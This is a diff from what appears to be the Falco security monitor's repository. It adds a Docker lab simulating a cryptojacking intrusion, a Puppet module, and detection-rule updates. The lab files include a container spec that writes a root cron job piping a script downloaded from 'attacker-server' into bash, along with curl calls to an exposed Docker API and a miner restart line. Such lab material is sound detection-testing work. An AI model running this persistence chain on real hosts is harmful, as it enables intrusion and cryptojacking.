echo "***Restarting Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

View File

@@ -0,0 +1,8 @@
#!/bin/bash
while true; do
echo "Mining bitcoins..."
sleep 60
done

View File

@@ -0,0 +1,41 @@
version: '3'
volumes:
host-filesystem:
docker-socket:
services:
host-machine:
privileged: true
build:
context: ${PWD}/host-machine
dockerfile: ${PWD}/host-machine/Dockerfile
volumes:
- host-filesystem:/etc
- docker-socket:/var/run
ports:
- "2375:2375"
depends_on:
- "falco"
attacker-server:
image: nginx:latest
ports:
- "8220:8220"
volumes:
- ${PWD}/attacker_files:/usr/share/nginx/html
- ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- "falco"
falco:
image: sysdig/falco:latest
privileged: true
volumes:
- docker-socket:/host/var/run
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

View File

@@ -0,0 +1,7 @@
{
"Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/etc:/mnt/etc"]
}
}

View File

@@ -0,0 +1,12 @@
FROM docker:stable-dind
RUN set -ex \
&& apk add --no-cache \
bash curl
COPY start-cron-and-dind.sh /usr/local/bin
ENTRYPOINT ["start-cron-and-dind.sh"]
CMD []

View File

@@ -0,0 +1,11 @@
#!/bin/sh
# Start docker-in-docker, but backgrounded with its output still going
# to stdout/stderr.
dockerd-entrypoint.sh &
# Start cron in the foreground with a moderate level of debugging to
# see job output.
crond -f -d 6

View File

@@ -0,0 +1,14 @@
#!/bin/sh
echo "Pulling alpine:latest image to docker-in-docker instance"
curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
echo "Creating container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
echo "Running container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'

7
examples/logrotate/falco Normal file
View File

@@ -0,0 +1,7 @@
/var/log/falco-events.log {
rotate 5
size 1M
postrotate
/usr/bin/killall -USR1 falco
endscript
}

View File

@@ -0,0 +1,3 @@
# Example Puppet Falco Module
This contains an example [Puppet](https://puppet.com/) module for Falco.

View File

@@ -0,0 +1,7 @@
source 'https://rubygems.org'
puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
gem 'puppet', puppetversion
gem 'puppetlabs_spec_helper', '>= 0.1.0'
gem 'puppet-lint', '>= 0.3.2'
gem 'facter', '>= 1.7.0'

View File

@@ -0,0 +1,241 @@
# falco
#### Table of Contents
1. [Overview](#overview)
2. [Module Description - What the module does and why it is useful](#module-description)
3. [Setup - The basics of getting started with falco](#setup)
* [What falco affects](#what-falco-affects)
* [Beginning with falco](#beginning-with-falco)
4. [Usage - Configuration options and additional functionality](#usage)
5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
5. [Limitations - OS compatibility, etc.](#limitations)
6. [Development - Guide for contributing to the module](#development)
## Overview
Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdigs system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
#### What kind of behaviors can Falco detect?
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
- A shell is run inside a container
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
- A server process spawns a child process of an unexpected type
- Unexpected read of a sensitive file (like `/etc/shadow`)
- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
## Module Description
This module configures falco as a systemd service. You configure falco
to send its notifications to one or more output channels (syslog,
files, programs).
## Setup
### What falco affects
This module affects the following:
* The main falco configuration file `/etc/falco/falco.yaml`, including
** Output format (JSON vs plain text)
** Log level
** Rule priority level to run
** Output buffering
** Output throttling
** Output channels (syslog, file, program)
### Beginning with falco
To have Puppet install falco with the default parameters, declare the falco class:
``` puppet
class { 'falco': }
```
When you declare this class with the default options, the module:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
## Usage
### Enabling file output
To enable file output, set the `file_output` hash, as follows:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
### Enabling program output
To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
``` puppet
class { 'falco':
json_output => 'true',
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Reference
* [**Public classes**](#public-classes)
* [Class: falco](#class-falco)
### Public Classes
#### Class: `falco`
Guides the basic setup and installation of falco on your system.
When this class is declared with the default options, Puppet:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
You can simply declare the default `falco` class:
``` puppet
class { 'falco': }
```
###### `rules_file`
An array of files for falco to load. Order matters--the first file listed will be loaded first.
Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
##### `json_output`
Whether to output events in json or text.
Default: `false`
##### `log_stderr`
Send falco's logs to stderr. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `false`
##### `log_syslog`
Send falco's logs to syslog. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `true`
##### `log_level`
Minimum log level to include in logs. Note: these levels are
separate from the priority field of rules. This refers only to the
log level of falco's internal logging. Can be one of "emergency",
"alert", "critical", "error", "warning", "notice", "info", "debug".
Default: `info`
##### `priority`
Minimum rule priority level to load and run. All rules having a
priority more severe than this level will be loaded/run. Can be one
of "emergency", "alert", "critical", "error", "warning", "notice",
"info", "debug".
Default: `debug`
##### `buffered_outputs`
Whether or not output to any of the output channels below is
buffered.
Default: `true`
##### `outputs_rate`/`outputs_max_burst`
A throttling mechanism implemented as a token bucket limits the
rate of falco notifications. This throttling is controlled by the following configuration
options:
* `outputs_rate`: the number of tokens (i.e. right to send a notification)
gained per second. Defaults to 1.
* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
##### `syslog_output
Controls syslog output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `true`.
Example:
``` puppet
class { 'falco':
syslog_output => {
'enabled' => 'true',
},
}
```
##### `file_output`
Controls file output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `filename`: Notifications will be written to this file.
Example:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
##### `program_output
Controls program output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `program`: Notifications will be written to this program.
Example:
``` puppet
class { 'falco':
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Limitations
The module works where falco works as a daemonized service (generally, Linux only).
## Development
For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

View File

@@ -0,0 +1,18 @@
require 'rubygems'
require 'puppetlabs_spec_helper/rake_tasks'
require 'puppet-lint/tasks/puppet-lint'
PuppetLint.configuration.send('disable_80chars')
PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
desc "Validate manifests, templates, and ruby files"
task :validate do
Dir['manifests/**/*.pp'].each do |manifest|
sh "puppet parser validate --noop #{manifest}"
end
Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
end
Dir['templates/**/*.erb'].each do |template|
sh "erb -P -x -T '-' #{template} | ruby -c"
end
end

View File

@@ -0,0 +1,13 @@
# == Class: falco::config
class falco::config inherits falco {
file { '/etc/falco/falco.yaml':
notify => Service['falco'],
ensure => file,
owner => 'root',
group => 'root',
mode => '0644',
content => template('falco/falco.yaml.erb'),
}
}

View File

@@ -0,0 +1,31 @@
class falco (
$rules_file = [
'/etc/falco/falco_rules.yaml',
'/etc/falco/falco_rules.local.yaml'
],
$json_output = 'false',
$log_stderr = 'false',
$log_syslog = 'true',
$log_level = 'info',
$priority = 'debug',
$buffered_outputs = 'true',
$outputs_rate = 1,
$outputs_max_burst = 1000,
$syslog_output = {
'enabled' => 'true'
},
$file_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'filename' => '/tmp/falco_events.txt'
},
$program_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
) {
include falco::install
include falco::config
include falco::service
}

View File

@@ -0,0 +1,6 @@
# == Class: falco::install
class falco::install inherits falco {
package { 'falco':
ensure => installed,
}
}

View File

@@ -0,0 +1,11 @@
# == Class: falco::service
class falco::service inherits falco {
service { 'falco':
ensure => running,
enable => true,
hasstatus => true,
hasrestart => true,
require => Package['falco'],
}
}

View File

@@ -0,0 +1,14 @@
{
"name": "sysdig-falco",
"version": "0.1.0",
"author": "sysdig",
"summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
"license": "GPLv2",
"source": "https://github.com/draios/falco",
"project_page": "https://github.com/draios/falco",
"issues_url": "https://github.com/draios/falco/issues",
"dependencies": [
{"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
]
}

View File

@@ -0,0 +1,7 @@
require 'spec_helper'
describe 'falco' do
context 'with defaults for all parameters' do
it { should contain_class('falco') }
end
end

View File

@@ -0,0 +1 @@
require 'puppetlabs_spec_helper/module_spec_helper'

View File

@@ -0,0 +1,96 @@
####
# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
####
# File(s) containing Falco rules, loaded at startup.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
# if it doesn't exist. If you want to customize the set of rules, add
# your customizations to falco_rules.local.yaml.
#
# The files will be read in the order presented here, so make sure if
# you have overrides they appear in later files.
rules_file:
<% Array(@rules_file).each do |file| -%>
- <%= file %>
<% end -%>
# Whether to output events in json or text
json_output: <%= @json_output %>
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: <%= @log_stderr %>
log_syslog: <%= @log_syslog %>
# Minimum log level to include in logs. Note: these levels are
# separate from the priority field of rules. This refers only to the
# log level of falco's internal logging. Can be one of "emergency",
# "alert", "critical", "error", "warning", "notice", "info", "debug".
log_level: <%= @log_level %>
# Minimum rule priority level to load and run. All rules having a
# priority more severe than this level will be loaded/run. Can be one
# of "emergency", "alert", "critical", "error", "warning", "notice",
# "info", "debug".
priority: <%= @priority %>
# Whether or not output to any of the output channels below is
# buffered. Defaults to true
buffered_outputs: <%= @buffered_outputs %>
# A throttling mechanism implemented as a token bucket limits the
# rate of falco notifications. This throttling is controlled by the following configuration
# options:
# - rate: the number of tokens (i.e. right to send a notification)
# gained per second. Defaults to 1.
# - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
#
# With these defaults, falco could send up to 1000 notifications after
# an initial quiet period, and then up to 1 notification per second
# afterward. It would gain the full burst back after 1000 seconds of
# no activity.
outputs:
rate: <%= @outputs_rate %>
max_burst: <%= @outputs_max_burst %>
# Where security notifications should go.
# Multiple outputs can be enabled.
<% unless @syslog_output.nil? -%>
syslog_output:
enabled: <%= @syslog_output['enabled'] %>
<% end -%>
# If keep_alive is set to true, the file will be opened once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
<% unless @file_output.nil? -%>
file_output:
enabled: <%= @file_output['enabled'] %>
keep_alive: <%= @file_output['keep_alive'] %>
filename: <%= @file_output['filename'] %>
<% end -%>
# Possible additional things you might want to do with program output:
# - send to a slack webhook:
# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
# - logging (alternate method than syslog):
# program: logger -t falco-test
# - send over a network connection:
# program: nc host.example.com 80
# If keep_alive is set to true, the program will be started once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
<% unless @program_output.nil? -%>
program_output:
enabled: <%= @program_output['enabled'] %>
keep_alive: <%= @program_output['keep_alive'] %>
program: <%= @program_output['program'] %>
<% end -%>

View File

@@ -0,0 +1,12 @@
# The baseline for module testing used by Puppet Labs is that each manifest
# should have a corresponding test manifest that declares that class or defined
# type.
#
# Tests are then run by using puppet apply --noop (to check for compilation
# errors and view a log of events) or by fully applying the test in a virtual
# environment (to compare the resulting system state to the desired state).
#
# Learn more about module testing here:
# http://docs.puppetlabs.com/guides/tests_smoke.html
#
include falco

View File

@@ -1,4 +1,7 @@
# File(s) containing Falco rules, loaded at startup.
# File(s) or Directories containing Falco rules, loaded at startup.
# The name "rules_file" is only for backwards compatibility.
# If the entry is a file, it will be read directly. If the entry is a directory,
# every file in that directory will be read, in alphabetical order.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
@@ -10,10 +13,16 @@
rules_file:
- /etc/falco/falco_rules.yaml
- /etc/falco/falco_rules.local.yaml
- /etc/falco/rules.d
# Whether to output events in json or text
json_output: false
# When using json output, whether or not to include the "output" property
# itself (e.g. "File below a known binary directory opened for writing
# (user=root ....") in the json output.
json_include_output_property: true
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: true
@@ -61,6 +70,10 @@ syslog_output:
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
#
# Also, the file will be closed and reopened if falco is signaled with
# SIGUSR1.
file_output:
enabled: false
keep_alive: false
@@ -81,7 +94,9 @@ stdout_output:
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
#
# Also, the program will be closed and reopened if falco is signaled with
# SIGUSR1.
program_output:
enabled: false
keep_alive: false

View File

@@ -31,7 +31,9 @@ install(FILES falco_rules.local.yaml
RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
install(FILES application_rules.yaml
DESTINATION "${FALCO_ETC_DIR}"
DESTINATION "/etc/falco/rules.available"
RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
install(DIRECTORY DESTINATION "/etc/falco/rules.d")
endif()

View File

@@ -15,6 +15,9 @@
- macro: never_true
condition: (evt.num=0)
- macro: always_true
condition: (evt.num=>0)
# In some cases, such as dropped system call events, information about
# the process name may be missing. For some rules that really depend
# on the identity of the process performing an action such as opening
@@ -23,7 +26,7 @@
condition: (proc.name!="<NA>")
- macro: rename
condition: evt.type = rename
condition: evt.type in (rename, renameat)
- macro: mkdir
condition: evt.type = mkdir
- macro: remove
@@ -148,7 +151,8 @@
# interpreted by the filter expression.
- list: rpm_binaries
items: [dnf, rpm, rpmkey, yum, '"75-system-updat"', rhsmcertd-worke, subscription-ma,
repoquery, rpmkeys, rpmq, yum-cron, yum-config-mana, yum-debug-dump]
repoquery, rpmkeys, rpmq, yum-cron, yum-config-mana, yum-debug-dump,
abrt-action-sav, rpmdb_stat]
- macro: rpm_procs
condition: proc.name in (rpm_binaries) or proc.name in (salt-minion)
@@ -236,12 +240,27 @@
# Network
- macro: inbound
condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
condition: >
(((evt.type in (accept,listen) and evt.dir=<)) or
(fd.typechar = 4 or fd.typechar = 6) and
(fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
(evt.rawres >= 0 or evt.res = EINPROGRESS))
# Currently sendto is an ignored syscall, otherwise this could also
# check for (evt.type=sendto and evt.dir=>)
- macro: outbound
condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
condition: >
(((evt.type = connect and evt.dir=<)) or
(fd.typechar = 4 or fd.typechar = 6) and
(fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
(evt.rawres >= 0 or evt.res = EINPROGRESS))
# Very similar to inbound/outbound, but combines the tests together
# for efficiency.
- macro: inbound_outbound
condition: >
(((evt.type in (accept,listen,connect) and evt.dir=<)) or
(fd.typechar = 4 or fd.typechar = 6) and
(fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
(evt.rawres >= 0 or evt.res = EINPROGRESS))
- macro: ssh_port
condition: fd.sport=22
@@ -261,7 +280,7 @@
- rule: Disallowed SSH Connection
desc: Detect any new ssh connection to a host other than those in an allowed group of hosts
condition: (outbound or inbound) and ssh_port and not allowed_ssh_hosts
condition: (inbound_outbound) and ssh_port and not allowed_ssh_hosts
output: Disallowed SSH Connection (command=%proc.cmdline connection=%fd.name user=%user.name)
priority: NOTICE
tags: [network]
@@ -349,6 +368,13 @@
proc.pcmdline startswith "node /root/.config/yarn" or
proc.pcmdline startswith "node /opt/yarn/bin/yarn.js"))
- macro: httpd_writing_ssl_conf
condition: >
(proc.pname=run-httpd and
(proc.cmdline startswith "sed -ri" or proc.cmdline startswith "sed -i") and
(fd.name startswith /etc/httpd/conf.d/ or fd.name startswith /etc/httpd/conf))
- macro: parent_Xvfb_running_xkbcomp
condition: (proc.pname=Xvfb and proc.cmdline startswith 'sh -c "/usr/bin/xkbcomp"')
@@ -408,6 +434,16 @@
condition: ((proc.pname=sh and proc.aname[2]=yum) or
(proc.aname[2]=sh and proc.aname[3]=yum))
- macro: run_by_ms_oms
condition: >
(proc.aname[3] startswith omsagent- or
proc.aname[3] startswith scx-)
- macro: run_by_google_accounts_daemon
condition: >
(proc.aname[1] startswith google_accounts or
proc.aname[2] startswith google_accounts)
# Chef is similar.
- macro: run_by_chef
condition: (proc.aname[2]=chef_command_wr or proc.aname[3]=chef_command_wr or
@@ -420,6 +456,9 @@
- macro: run_by_centrify
condition: (proc.aname[2]=centrify or proc.aname[3]=centrify or proc.aname[4]=centrify)
- macro: run_by_puppet
condition: (proc.aname[2]=puppet or proc.aname[3]=puppet)
# Also handles running semi-indirectly via scl
- macro: run_by_foreman
condition: >
@@ -464,20 +503,34 @@
- macro: perl_running_updmap
condition: (proc.cmdline startswith "perl /usr/bin/updmap")
- macro: perl_running_centrifydc
condition: (proc.cmdline startswith "perl /usr/share/centrifydc")
- macro: parent_ucf_writing_conf
condition: (proc.pname=ucf and proc.aname[2]=frontend)
- macro: consul_template_writing_conf
condition: (proc.name=consul-template and fd.name startswith /etc/haproxy)
condition: >
((proc.name=consul-template and fd.name startswith /etc/haproxy) or
(proc.name=reload.sh and proc.aname[2]=consul-template and fd.name startswith /etc/ssl))
- macro: countly_writing_nginx_conf
condition: (proc.cmdline startswith "nodejs /opt/countly/bin" and fd.name startswith /etc/nginx)
- macro: omiagent_writing_conf
condition: (proc.name in (omiagent,PerformInventor) and fd.name startswith /etc/opt/omi/conf/)
- macro: ms_oms_writing_conf
condition: >
((proc.name in (omiagent,omsagent,in_heartbeat_r*,omsadmin.sh,PerformInventor)
or proc.pname in (omi.postinst,omsconfig.posti,scx.postinst,omsadmin.sh,omiagent))
and (fd.name startswith /etc/opt/omi or fd.name startswith /etc/opt/microsoft/omsagent))
- macro: omsagent_writing_conf
condition: (proc.name in (omsagent,in_heartbeat_r*) and fd.name startswith /etc/opt/microsoft/omsagent)
- macro: ms_scx_writing_conf
condition: (proc.name in (GetLinuxOS.sh) and fd.name startswith /etc/opt/microsoft/scx)
- macro: azure_scripts_writing_conf
condition: (proc.pname startswith "bash /var/lib/waagent/" and fd.name startswith /etc/azure)
- macro: azure_networkwatcher_writing_conf
condition: (proc.name in (NetworkWatcherA) and fd.name=/etc/init.d/AzureNetworkWatcherAgent)
- macro: couchdb_writing_conf
condition: (proc.name=beam.smp and proc.cmdline contains couchdb and fd.name startswith /etc/couchdb)
@@ -497,10 +550,12 @@
condition: (proc.cmdline startswith "java LiveUpdate" and fd.name in (/etc/liveupdate.conf, /etc/Product.Catalog.JavaLiveUpdate))
- macro: sosreport_writing_files
condition: (proc.name=urlgrabber-ext- and proc.aname[3]=sosreport and fd.name startswith /etc/pkt/nssdb)
condition: >
(proc.name=urlgrabber-ext- and proc.aname[3]=sosreport and
(fd.name startswith /etc/pkt/nssdb or fd.name startswith /etc/pki/nssdb))
- macro: semodule_writing_conf
condition: (proc.name=semodule and fd.name startswith /etc/selinux)
- macro: selinux_writing_conf
condition: (proc.name in (semodule,genhomedircon,sefcontext_comp) and fd.name startswith /etc/selinux)
- list: veritas_binaries
items: [vxconfigd, sfcache, vxclustadm, vxdctl, vxprint, vxdmpadm, vxdisk, vxdg, vxassist, vxtune]
@@ -514,15 +569,47 @@
- macro: veritas_writing_config
condition: (veritas_progs and fd.name startswith /etc/vx)
- macro: nginx_writing_conf
condition: (proc.name=nginx and fd.name startswith /etc/nginx)
- macro: nginx_writing_certs
condition: >
(((proc.name=openssl and proc.pname=nginx-launch.sh) or proc.name=nginx-launch.sh) and fd.name startswith /etc/nginx/certs)
- macro: chef_client_writing_conf
condition: (proc.pcmdline startswith "chef-client /opt/gitlab" and fd.name startswith /etc/gitlab)
- macro: centrify_writing_krb
condition: (proc.name in (adjoin,addns) and fd.name startswith /etc/krb5)
- macro: cockpit_writing_conf
condition: >
((proc.pname=cockpit-kube-la or proc.aname[2]=cockpit-kube-la)
and fd.name startswith /etc/cockpit)
- macro: ipsec_writing_conf
condition: (proc.name=start-ipsec.sh and fd.directory=/etc/ipsec)
- macro: exe_running_docker_save
condition: (container and proc.cmdline startswith "exe /var/lib/docker" and proc.pname in (dockerd, docker))
condition: (proc.cmdline startswith "exe /var/lib/docker" and proc.pname in (dockerd, docker))
- macro: python_running_get_pip
condition: (proc.cmdline startswith "python get-pip.py")
- macro: python_running_ms_oms
condition: (proc.cmdline startswith "python /var/lib/waagent/")
- macro: gugent_writing_guestagent_log
condition: (proc.name=gugent and fd.name=GuestAgent.log)
- rule: Write below binary dir
desc: an attempt to write to any file below a set of binary directories
condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs and not exe_running_docker_save
condition: >
bin_dir and evt.dir = < and open_write
and not package_mgmt_procs
and not exe_running_docker_save
and not python_running_get_pip
and not python_running_ms_oms
output: >
File below a known binary directory opened for writing (user=%user.name
command=%proc.cmdline file=%fd.name parent=%proc.pname pcmdline=%proc.pcmdline gparent=%proc.aname[2])
@@ -573,8 +660,8 @@
condition: (proc.name=curl and fd.directory=/etc/pki/nssdb)
- macro: haproxy_writing_conf
condition: ((proc.name in (update-haproxy-,haproxy_reload.) or proc.pname=update-haproxy-)
and fd.name=/etc/openvpn/client.map or fd.directory=/etc/haproxy)
condition: ((proc.name in (update-haproxy-,haproxy_reload.) or proc.pname in (update-haproxy-,haproxy_reload,haproxy_reload.))
and (fd.name=/etc/openvpn/client.map or fd.name startswith /etc/haproxy))
- macro: java_writing_conf
condition: (proc.name=java and fd.name=/etc/.java/.systemPrefs/.system.lock)
@@ -593,7 +680,7 @@
condition: ((proc.name=start-mysql.sh or proc.pname=start-mysql.sh) and fd.name startswith /etc/mysql)
- macro: openvpn_writing_conf
condition: (proc.name=openvpn and fd.directory=/etc/openvpn)
condition: (proc.name in (openvpn,openvpn-entrypo) and fd.name startswith /etc/openvpn)
- macro: php_handlers_writing_conf
condition: (proc.name=php_handlers_co and fd.name=/etc/psa/php_versions.json)
@@ -642,11 +729,11 @@
gen_resolvconf., update-ca-certi, certbot, runsv,
qualys-cloud-ag, locales.postins, nomachine_binaries,
adclient, certutil, crlutil, pam-auth-update, parallels_insta,
openshift-launc)
and not proc.pname in (sysdigcloud_binaries, mail_config_binaries, hddtemp.postins, sshkit_script_binaries, locales.postins, deb_binaries)
openshift-launc, update-rc.d)
and not proc.pname in (sysdigcloud_binaries, mail_config_binaries, hddtemp.postins, sshkit_script_binaries, locales.postins, deb_binaries, dhcp_binaries)
and not fd.name pmatch (safe_etc_dirs)
and not fd.name in (/etc/container_environment.sh, /etc/container_environment.json, /etc/motd, /etc/motd.svc)
and not exe_running_docker_save
and not exe_running_docker_save
and not ansible_running_python
and not python_running_denyhosts
and not fluentd_writing_conf_files
@@ -685,30 +772,40 @@
and not openvpn_writing_conf
and not consul_template_writing_conf
and not countly_writing_nginx_conf
and not omiagent_writing_conf
and not omsagent_writing_conf
and not ms_oms_writing_conf
and not ms_scx_writing_conf
and not azure_scripts_writing_conf
and not azure_networkwatcher_writing_conf
and not couchdb_writing_conf
and not update_texmf_writing_conf
and not slapadd_writing_conf
and not symantec_writing_conf
and not liveupdate_writing_conf
and not sosreport_writing_files
and not semodule_writing_conf
and not selinux_writing_conf
and not veritas_writing_config
and not nginx_writing_conf
and not nginx_writing_certs
and not chef_client_writing_conf
and not centrify_writing_krb
and not cockpit_writing_conf
and not ipsec_writing_conf
and not httpd_writing_ssl_conf
- rule: Write below etc
desc: an attempt to write to any file below /etc
condition: write_etc_common
output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname pcmdline=%proc.pcmdline file=%fd.name name=%proc.name gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4])"
output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname pcmdline=%proc.pcmdline file=%fd.name program=%proc.name gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4])"
priority: ERROR
tags: [filesystem]
- list: known_root_files
items: [/root/.monit.state, /root/.auth_tokens, /root/.bash_history, /root/.ash_history, /root/.aws/credentials,
/root/.viminfo.tmp, /root/.lesshst, /root/.bzr.log, /root/.gitconfig.lock, /root/.babel.json, /root/.localstack]
/root/.viminfo.tmp, /root/.lesshst, /root/.bzr.log, /root/.gitconfig.lock, /root/.babel.json, /root/.localstack,
/root/.node_repl_history, /root/.mongorc.js, /root/.dbshell, /root/.augeas/history, /root/.rnd]
- list: known_root_directories
items: [/root/.oracle_jre_usage, /root/.ssh]
items: [/root/.oracle_jre_usage, /root/.ssh, /root/.subversion, /root/.nami]
- macro: known_root_conditions
condition: (fd.name startswith /root/orcexec.
@@ -733,6 +830,13 @@
or fd.name startswith /root/.gnupg
or fd.name startswith /root/.pgpass
or fd.name startswith /root/.theano
or fd.name startswith /root/.gradle
or fd.name startswith /root/.android
or fd.name startswith /root/.ansible
or fd.name startswith /root/.crashlytics
or fd.name startswith /root/.dbus
or fd.name startswith /root/.composer
or fd.name startswith /root/.gconf
or fd.name startswith /root/.nv)
- rule: Write below root
@@ -744,7 +848,7 @@
and not exe_running_docker_save
and not gugent_writing_guestagent_log
and not known_root_conditions
output: "File below / or /root opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname file=%fd.name name=%proc.name)"
output: "File below / or /root opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname file=%fd.name program=%proc.name)"
priority: ERROR
tags: [filesystem]
@@ -768,7 +872,7 @@
iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, sshd,
vsftpd, systemd, mysql_install_d, psql, screen, debconf-show, sa-update,
pam-auth-update, /usr/sbin/spamd, polkit-agent-he, lsattr, file, sosreport,
scxcimservera
scxcimservera, adclient, rtvscand, cockpit-session
]
# Add conditions to this macro (probably in a separate file,
@@ -804,8 +908,9 @@
and not perl_running_plesk
and not perl_running_updmap
and not veritas_driver_script
and not perl_running_centrifydc
output: >
Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name
Sensitive file opened for reading by non-trusted program (user=%user.name program=%proc.name
command=%proc.cmdline file=%fd.name parent=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4])
priority: WARNING
tags: [filesystem]
@@ -825,7 +930,12 @@
condition: (proc.aname[2]=redis-server and (proc.cmdline contains "redis-server.post-up.d" or proc.cmdline contains "redis-server.pre-up.d"))
- macro: rabbitmq_running_scripts
condition: (proc.pname=beam.smp and (proc.cmdline startswith "sh -c exec ps" or proc.cmdline startswith "sh -c exec inet_gethost"))
condition: >
(proc.pname=beam.smp and
(proc.cmdline startswith "sh -c exec ps" or
proc.cmdline startswith "sh -c exec inet_gethost" or
proc.cmdline= "sh -s unix:cmd" or
proc.cmdline= "sh -c exec /bin/sh -s unix:cmd 2>&1"))
- macro: rabbitmqctl_running_scripts
condition: (proc.aname[2]=rabbitmqctl and proc.cmdline startswith "sh -c ")
@@ -847,7 +957,7 @@
- rule: Modify binary dirs
desc: an attempt to modify any file below a set of binary directories.
condition: bin_dir_rename and modify and not package_mgmt_procs
condition: (bin_dir_rename) and modify and not package_mgmt_procs and not exe_running_docker_save
output: >
File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline
operation=%evt.type file=%fd.name %evt.args)
@@ -976,6 +1086,9 @@
or parent_java_running_datastax
or possibly_node_in_container)
- list: mesos_shell_binaries
items: [mesos-docker-ex, mesos-slave, mesos-health-ch]
# Note that runsv is both in protected_shell_spawner and the
# exclusions by pname. This means that runsv can itself spawn shells
# (the ./run and ./finish scripts), but the processes runsv can not
@@ -989,6 +1102,7 @@
and protected_shell_spawner
